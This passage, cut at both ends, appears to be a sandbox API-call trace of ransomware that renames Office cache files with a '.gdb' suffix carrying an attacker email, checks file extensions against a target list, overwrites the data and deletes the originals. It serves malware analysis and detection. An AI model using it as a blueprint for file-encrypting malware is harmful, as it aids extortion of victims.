Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelLR.cab.id-9C354B42.[GetDataBack@fros.cc].gdb", dwFileAttributes=0x2020) returned 1 [0118.628] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelLR.cab") returned 74 [0118.628] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelLR.cab") returned 74 [0118.628] lstrlenW (lpString=".doc") returned 4 [0118.628] lstrcmpiW (lpString1=".doc", lpString2=".cab") returned 1 [0118.628] lstrlenW (lpString=".docx") returned 5 [0118.628] lstrcmpiW (lpString1=".docx", lpString2="R.cab") returned -1 [0118.628] lstrlenW (lpString=".pdf") returned 4 [0118.628] lstrcmpiW (lpString1=".pdf", lpString2=".cab") returned 1 [0118.628] lstrlenW (lpString=".xls") returned 4 [0118.628] lstrcmpiW (lpString1=".xls", lpString2=".cab") returned 1 [0118.628] lstrlenW (lpString=".xlsx") returned 5 [0118.628] lstrcmpiW (lpString1=".xlsx", lpString2="R.cab") returned -1 [0118.628] lstrlenW (lpString=".ppt") returned 4 [0118.628] lstrcmpiW (lpString1=".ppt", lpString2=".cab") returned 1 [0118.628] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelLR.cab") returned 74 [0118.628] lstrlenW (lpString=".zip") returned 4 [0118.628] lstrcmpiW (lpString1=".zip", lpString2=".cab") returned 1 [0118.629] lstrlenW (lpString=".rar") returned 4 [0118.629] lstrcmpiW (lpString1=".rar", lpString2=".cab") returned 1 [0118.629] lstrlenW (lpString=".bz2") returned 4 [0118.629] lstrcmpiW (lpString1=".bz2", lpString2=".cab") returned -1 [0118.629] lstrlenW (lpString=".7z") returned 3 [0118.629] lstrcmpiW (lpString1=".7z", lpString2="cab") returned -1 [0118.629] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelLR.cab") returned 74 [0118.629] lstrlenW (lpString=".dbf") returned 4 [0118.629] lstrcmpiW (lpString1=".dbf", lpString2=".cab") returned 1 [0118.629] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelLR.cab") returned 74 [0118.629] lstrlenW (lpString=".1cd") returned 4 [0118.629] lstrcmpiW (lpString1=".1cd", lpString2=".cab") returned -1 [0118.629] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelLR.cab") returned 74 [0118.629] lstrlenW (lpString=".jpg") returned 4 [0118.629] lstrcmpiW (lpString1=".jpg", lpString2=".cab") returned 1 [0118.629] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelLR.cab") returned 74 [0118.629] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelLR.cab") returned 74 [0118.629] lstrlenW (lpString=".doc") returned 4 [0118.629] lstrcmpiW (lpString1=".doc", lpString2=".cab") returned 1 [0118.629] lstrlenW (lpString=".docx") returned 5 [0118.629] lstrcmpiW (lpString1=".docx", lpString2="R.cab") returned -1 [0118.629] lstrlenW (lpString=".pdf") returned 4 [0118.629] lstrcmpiW (lpString1=".pdf", lpString2=".cab") returned 1 [0118.629] lstrlenW (lpString=".xls") returned 4 [0118.629] lstrcmpiW (lpString1=".xls", lpString2=".cab") returned 1 [0118.629] lstrlenW (lpString=".xlsx") returned 5 [0118.629] lstrcmpiW (lpString1=".xlsx", lpString2="R.cab") returned -1 [0118.629] lstrlenW (lpString=".ppt") returned 4 [0118.629] lstrcmpiW (lpString1=".ppt", lpString2=".cab") returned 1 [0118.629] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelLR.cab") returned 74 [0118.629] lstrlenW (lpString=".zip") returned 4 [0118.629] lstrcmpiW (lpString1=".zip", lpString2=".cab") returned 1 [0118.629] lstrlenW (lpString=".rar") returned 4 [0118.629] lstrcmpiW (lpString1=".rar", lpString2=".cab") returned 1 [0118.629] lstrlenW (lpString=".bz2") returned 4 [0118.629] lstrcmpiW (lpString1=".bz2", lpString2=".cab") returned -1 [0118.629] lstrlenW (lpString=".7z") returned 3 [0118.629] lstrcmpiW (lpString1=".7z", lpString2="cab") returned -1 [0118.629] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelLR.cab") returned 74 [0118.629] lstrlenW (lpString=".dbf") returned 4 [0118.630] lstrcmpiW (lpString1=".dbf", lpString2=".cab") returned 1 [0118.630] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelLR.cab") returned 74 [0118.630] lstrlenW (lpString=".1cd") returned 4 [0118.630] lstrcmpiW (lpString1=".1cd", lpString2=".cab") returned -1 [0118.630] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelLR.cab") returned 74 [0118.630] lstrlenW (lpString=".jpg") returned 4 [0118.630] lstrcmpiW (lpString1=".jpg", lpString2=".cab") returned 1 [0118.630] lstrcmpiW (lpString1=".cab", lpString2=".gdb") returned -1 [0118.630] lstrlenW (lpString="OutlkLR.cab") returned 11 [0118.630] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlkLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-001a-0409-1000-0000000ff1ce}-c\\outlklr.cab"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x198 [0118.630] GetFileSizeEx (in: hFile=0x198, lpFileSize=0x307fdc4 | out: lpFileSize=0x307fdc4*=14819276) returned 1 [0118.630] CloseHandle (hObject=0x198) returned 1 [0118.630] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlkLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-001a-0409-1000-0000000ff1ce}-c\\outlklr.cab")) returned 0x2020 [0118.630] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlkLR.cab.id-9C354B42.[GetDataBack@fros.cc].gdb" (normalized: "c:\\msocache\\all users\\{90140000-001a-0409-1000-0000000ff1ce}-c\\outlklr.cab.id-9c354b42.[getdataback@fros.cc].gdb")) returned 0xffffffff [0118.630] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlkLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-001a-0409-1000-0000000ff1ce}-c\\outlklr.cab"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlkLR.cab.id-9C354B42.[GetDataBack@fros.cc].gdb" (normalized: "c:\\msocache\\all users\\{90140000-001a-0409-1000-0000000ff1ce}-c\\outlklr.cab.id-9c354b42.[getdataback@fros.cc].gdb")) returned 1 [0118.631] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlkLR.cab.id-9C354B42.[GetDataBack@fros.cc].gdb" (normalized: "c:\\msocache\\all users\\{90140000-001a-0409-1000-0000000ff1ce}-c\\outlklr.cab.id-9c354b42.[getdataback@fros.cc].gdb"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x198 [0118.631] SetFilePointerEx (in: hFile=0x198, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x307fb14 | out: lpNewFilePointer=0x0) returned 1 [0118.631] SetFilePointerEx (in: hFile=0x198, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x307fad4 | out: lpNewFilePointer=0x0) returned 1 [0118.631] ReadFile (in: hFile=0x198, lpBuffer=0x3670058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x307fae0, lpOverlapped=0x0 | out: lpBuffer=0x3670058*, lpNumberOfBytesRead=0x307fae0*=0x40000, lpOverlapped=0x0) returned 1 [0118.865] SetFilePointerEx (in: hFile=0x198, liDistanceToMove=0x4b5fee, lpNewFilePointer=0x0, dwMoveMethod=0x307fad4 | out: lpNewFilePointer=0x0) returned 1 [0118.865] ReadFile (in: hFile=0x198, lpBuffer=0x36b0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x307fae0, lpOverlapped=0x0 | out: lpBuffer=0x36b0058*, lpNumberOfBytesRead=0x307fae0*=0x40000, lpOverlapped=0x0) returned 1 [0118.869] SetFilePointerEx (in: hFile=0x198, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x307fb14 | out: lpNewFilePointer=0xffffffff) returned 1 [0118.869] SetFilePointerEx (in: hFile=0x198, liDistanceToMove=0xde1fcc, lpNewFilePointer=0x0, dwMoveMethod=0x307fad4 | out: lpNewFilePointer=0x0) returned 1 [0118.869] ReadFile (in: hFile=0x198, lpBuffer=0x36f0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x307fae0, lpOverlapped=0x0 | out: lpBuffer=0x36f0058*, lpNumberOfBytesRead=0x307fae0*=0x40000, lpOverlapped=0x0) returned 1 [0118.883] SetFilePointerEx (in: hFile=0x198, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x307fd70 | out: lpNewFilePointer=0x0) returned 1 [0118.883] WriteFile (in: hFile=0x198, lpBuffer=0x3670020*, nNumberOfBytesToWrite=0xc0102, lpNumberOfBytesWritten=0x307fb58, lpOverlapped=0x0 | out: lpBuffer=0x3670020*, lpNumberOfBytesWritten=0x307fb58*=0xc0102, lpOverlapped=0x0) returned 1 [0119.380] SetEndOfFile (hFile=0x198) returned 1 [0119.384] SetFilePointerEx (in: hFile=0x198, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x307fb24 | out: lpNewFilePointer=0x0) returned 1 [0119.384] WriteFile (in: hFile=0x198, lpBuffer=0x3899fd0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x307fb30, lpOverlapped=0x0 | out: lpBuffer=0x3899fd0*, lpNumberOfBytesWritten=0x307fb30*=0x40000, lpOverlapped=0x0) returned 1 [0119.385] SetFilePointerEx (in: hFile=0x198, liDistanceToMove=0x4b5fee, lpNewFilePointer=0x0, dwMoveMethod=0x307fb24 | out: lpNewFilePointer=0x0) returned 1 [0119.385] WriteFile (in: hFile=0x198, lpBuffer=0x3899fd0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x307fb30, lpOverlapped=0x0 | out: lpBuffer=0x3899fd0*, lpNumberOfBytesWritten=0x307fb30*=0x40000, lpOverlapped=0x0) returned 1 [0119.386] SetFilePointerEx (in: hFile=0x198, liDistanceToMove=0xde1fcc, lpNewFilePointer=0x0, dwMoveMethod=0x307fb24 | out: lpNewFilePointer=0x0) returned 1 [0119.386] WriteFile (in: hFile=0x198, lpBuffer=0x3899fd0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x307fb30, lpOverlapped=0x0 | out: lpBuffer=0x3899fd0*, lpNumberOfBytesWritten=0x307fb30*=0x40000, lpOverlapped=0x0) returned 1 [0119.388] CloseHandle (hObject=0x198) returned 1 [0121.321] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlkLR.cab.id-9C354B42.[GetDataBack@fros.cc].gdb", dwFileAttributes=0x2020) returned 1 [0121.450] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlkLR.cab") returned 74 [0121.450] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlkLR.cab") returned 74 [0121.450] lstrlenW (lpString=".doc") returned 4 [0121.450] lstrcmpiW (lpString1=".doc", lpString2=".cab") returned 1 [0121.450] lstrlenW (lpString=".docx") returned 5 [0121.450] lstrcmpiW (lpString1=".docx", lpString2="R.cab") returned -1 [0121.450] lstrlenW (lpString=".pdf") returned 4 [0121.450] lstrcmpiW (lpString1=".pdf", lpString2=".cab") returned 1 [0121.450] lstrlenW (lpString=".xls") returned 4 [0121.450] lstrcmpiW (lpString1=".xls", lpString2=".cab") returned 1 [0121.450] lstrlenW (lpString=".xlsx") returned 5 [0121.450] lstrcmpiW (lpString1=".xlsx", lpString2="R.cab") returned -1 [0121.451] lstrlenW (lpString=".ppt") returned 4 [0121.451] lstrcmpiW (lpString1=".ppt", lpString2=".cab") returned 1 [0121.451] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlkLR.cab") returned 74 [0121.451] lstrlenW (lpString=".zip") returned 4 [0121.451] lstrcmpiW (lpString1=".zip", lpString2=".cab") returned 1 [0121.451] lstrlenW (lpString=".rar") returned 4 [0121.451] lstrcmpiW (lpString1=".rar", lpString2=".cab") returned 1 [0121.451] lstrlenW (lpString=".bz2") returned 4 [0121.451] lstrcmpiW (lpString1=".bz2", lpString2=".cab") returned -1 [0121.451] lstrlenW (lpString=".7z") returned 3 [0121.451] lstrcmpiW (lpString1=".7z", lpString2="cab") returned -1 [0121.451] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlkLR.cab") returned 74 [0121.451] lstrlenW (lpString=".dbf") returned 4 [0121.451] lstrcmpiW (lpString1=".dbf", lpString2=".cab") returned 1 [0121.451] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlkLR.cab") returned 74 [0121.451] lstrlenW (lpString=".1cd") returned 4 [0121.451] lstrcmpiW (lpString1=".1cd", lpString2=".cab") returned -1 [0121.451] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlkLR.cab") returned 74 [0121.451] lstrlenW (lpString=".jpg") returned 4 [0121.451] lstrcmpiW (lpString1=".jpg", lpString2=".cab") returned 1 [0121.451] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlkLR.cab") returned 74 [0121.451] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlkLR.cab") returned 74 [0121.451] lstrlenW (lpString=".doc") returned 4 [0121.451] lstrcmpiW (lpString1=".doc", lpString2=".cab") returned 1 [0121.451] lstrlenW (lpString=".docx") returned 5 [0121.451] lstrcmpiW (lpString1=".docx", lpString2="R.cab") returned -1 [0121.451] lstrlenW (lpString=".pdf") returned 4 [0121.451] lstrcmpiW (lpString1=".pdf", lpString2=".cab") returned 1 [0121.451] lstrlenW (lpString=".xls") returned 4 [0121.451] lstrcmpiW (lpString1=".xls", lpString2=".cab") returned 1 [0121.451] lstrlenW (lpString=".xlsx") returned 5 [0121.451] lstrcmpiW (lpString1=".xlsx", lpString2="R.cab") returned -1 [0121.451] lstrlenW (lpString=".ppt") returned 4 [0121.451] lstrcmpiW (lpString1=".ppt", lpString2=".cab") returned 1 [0121.451] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlkLR.cab") returned 74 [0121.452] lstrlenW (lpString=".zip") returned 4 [0121.452] lstrcmpiW (lpString1=".zip", lpString2=".cab") returned 1 [0121.452] lstrlenW (lpString=".rar") returned 4 [0121.452] lstrcmpiW (lpString1=".rar", lpString2=".cab") returned 1 [0121.452] lstrlenW (lpString=".bz2") returned 4 [0121.452] lstrcmpiW (lpString1=".bz2", lpString2=".cab") returned -1 [0121.452] lstrlenW (lpString=".7z") returned 3 [0121.452] lstrcmpiW (lpString1=".7z", lpString2="cab") returned -1 [0121.452] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlkLR.cab") returned 74 [0121.452] lstrlenW (lpString=".dbf") returned 4 [0121.452] lstrcmpiW (lpString1=".dbf", lpString2=".cab") returned 1 [0121.452] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlkLR.cab") returned 74 [0121.452] lstrlenW (lpString=".1cd") returned 4 [0121.452] lstrcmpiW (lpString1=".1cd", lpString2=".cab") returned -1 [0121.452] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlkLR.cab") returned 74 [0121.452] lstrlenW (lpString=".jpg") returned 4 [0121.452] lstrcmpiW (lpString1=".jpg", lpString2=".cab") returned 1 [0121.452] lstrcmpiW (lpString1=".msi", lpString2=".gdb") returned 1 [0121.452] lstrlenW (lpString="Proof.msi") returned 9 [0121.452] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.msi" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.en\\proof.msi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x208 [0121.452] GetFileSizeEx (in: hFile=0x208, lpFileSize=0x307fdc4 | out: lpFileSize=0x307fdc4*=875520) returned 1 [0121.452] CloseHandle (hObject=0x208) returned 1 [0121.452] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.msi" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.en\\proof.msi")) returned 0x2020 [0121.452] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.msi.id-9C354B42.[GetDataBack@fros.cc].gdb" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.en\\proof.msi.id-9c354b42.[getdataback@fros.cc].gdb")) returned 0xffffffff [0121.452] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.msi" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.en\\proof.msi"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x208 [0121.453] SetFilePointerEx (in: hFile=0x208, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x307fd70 | out: lpNewFilePointer=0x0) returned 1 [0121.453] SetFilePointerEx (in: hFile=0x208, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x307fd70 | out: lpNewFilePointer=0x0) returned 1 [0121.453] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.msi.id-9C354B42.[GetDataBack@fros.cc].gdb" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.en\\proof.msi.id-9c354b42.[getdataback@fros.cc].gdb"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x214 [0121.453] GetLastError () returned 0x0 [0121.453] ReadFile (in: hFile=0x208, lpBuffer=0x3670020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x307fd7c, lpOverlapped=0x0 | out: lpBuffer=0x3670020*, lpNumberOfBytesRead=0x307fd7c*=0xd5c00, lpOverlapped=0x0) returned 1 [0121.667] WriteFile (in: hFile=0x214, lpBuffer=0x3670020*, nNumberOfBytesToWrite=0xd5c10, lpNumberOfBytesWritten=0x307fb44, lpOverlapped=0x0 | out: lpBuffer=0x3670020*, lpNumberOfBytesWritten=0x307fb44*=0xd5c10, lpOverlapped=0x0) returned 1 [0121.968] ReadFile (in: hFile=0x208, lpBuffer=0x3670020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x307fd7c, lpOverlapped=0x0 | out: lpBuffer=0x3670020*, lpNumberOfBytesRead=0x307fd7c*=0x0, lpOverlapped=0x0) returned 1 [0121.968] WriteFile (in: hFile=0x214, lpBuffer=0x3670020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x307fb44, lpOverlapped=0x0 | out: lpBuffer=0x3670020*, lpNumberOfBytesWritten=0x307fb44*=0xe6, lpOverlapped=0x0) returned 1 [0121.968] SetEndOfFile (hFile=0x214) returned 1 [0121.969] CloseHandle (hObject=0x214) returned 1 [0121.975] SetFilePointerEx (in: hFile=0x208, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x307fd70 | out: lpNewFilePointer=0x0) returned 1 [0121.975] SetEndOfFile (hFile=0x208) returned 1 [0121.981] CloseHandle (hObject=0x208) returned 1 [0121.981] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.msi.id-9C354B42.[GetDataBack@fros.cc].gdb", dwFileAttributes=0x2020) returned 1 [0121.982] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.msi" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.en\\proof.msi")) returned 1 [0121.982] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.msi") returned 81 [0121.982] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.msi") returned 81 [0121.982] lstrlenW (lpString=".doc") returned 4 [0121.982] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1 [0121.982] lstrlenW (lpString=".docx") returned 5 [0121.982] lstrcmpiW (lpString1=".docx", lpString2="f.msi") returned -1 [0121.982] lstrlenW (lpString=".pdf") returned 4 [0121.982] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1 [0121.982] lstrlenW (lpString=".xls") returned 4 [0121.982] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1 [0121.982] lstrlenW (lpString=".xlsx") returned 5 [0121.982] lstrcmpiW (lpString1=".xlsx", lpString2="f.msi") returned -1 [0121.982] lstrlenW (lpString=".ppt") returned 4 [0121.982] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1 [0121.982] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.msi") returned 81 [0121.982] lstrlenW (lpString=".zip") returned 4 [0121.982] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1 [0121.982] lstrlenW (lpString=".rar") returned 4 [0121.982] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1 [0121.982] lstrlenW (lpString=".bz2") returned 4 [0121.982] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1 [0121.982] lstrlenW (lpString=".7z") returned 3 [0121.982] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1 [0121.983] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.msi") returned 81 [0121.983] lstrlenW (lpString=".dbf") returned 4 [0121.983] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1 [0121.983] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.msi") returned 81 [0121.983] lstrlenW (lpString=".1cd") returned 4 [0121.983] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1 [0121.983] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.msi") returned 81 [0121.983] lstrlenW (lpString=".jpg") returned 4 [0121.983] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1 [0121.983] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.msi") returned 81 [0121.983] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.msi") returned 81 [0121.983] lstrlenW (lpString=".doc") returned 4 [0121.983] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1 [0121.983] lstrlenW (lpString=".docx") returned 5 [0121.983] lstrcmpiW (lpString1=".docx", lpString2="f.msi") returned -1 [0121.983] lstrlenW (lpString=".pdf") returned 4 [0121.983] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1 [0121.983] lstrlenW (lpString=".xls") returned 4 [0121.983] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1 [0121.983] lstrlenW (lpString=".xlsx") returned 5 [0121.983] lstrcmpiW (lpString1=".xlsx", lpString2="f.msi") returned -1 [0121.983] lstrlenW (lpString=".ppt") returned 4 [0121.983] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1 [0121.983] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.msi") returned 81 [0121.983] lstrlenW (lpString=".zip") returned 4 [0121.983] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1 [0121.983] lstrlenW (lpString=".rar") returned 4 [0121.983] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1 [0121.983] lstrlenW (lpString=".bz2") returned 4 [0121.983] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1 [0121.983] lstrlenW (lpString=".7z") returned 3 [0121.983] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1 [0121.983] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.msi") returned 81 [0121.983] lstrlenW (lpString=".dbf") returned 4 [0121.983] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1 [0121.983] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.msi") returned 81 [0121.983] lstrlenW (lpString=".1cd") returned 4 [0121.983] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1 [0121.983] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.msi") returned 81 [0121.983] lstrlenW (lpString=".jpg") returned 4 [0121.983] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1 [0121.984] lstrcmpiW (lpString1=".cab", lpString2=".gdb") returned -1 [0121.984] lstrlenW (lpString="Proof.cab") returned 9 [0121.984] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.cab" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.es\\proof.cab"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x208 [0122.214] GetFileSizeEx (in: hFile=0x208, lpFileSize=0x307fdc4 | out: lpFileSize=0x307fdc4*=13642474) returned 1 [0122.214] CloseHandle (hObject=0x208) returned 1 [0122.216] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.cab" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.es\\proof.cab")) returned 0x2020 [0122.216] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.cab.id-9C354B42.[GetDataBack@fros.cc].gdb" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.es\\proof.cab.id-9c354b42.[getdataback@fros.cc].gdb")) returned 0xffffffff [0122.216] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.cab" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.es\\proof.cab"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.cab.id-9C354B42.[GetDataBack@fros.cc].gdb" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.es\\proof.cab.id-9c354b42.[getdataback@fros.cc].gdb")) returned 1 [0122.494] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.cab.id-9C354B42.[GetDataBack@fros.cc].gdb" (normalized: "c:\\msocache\\all 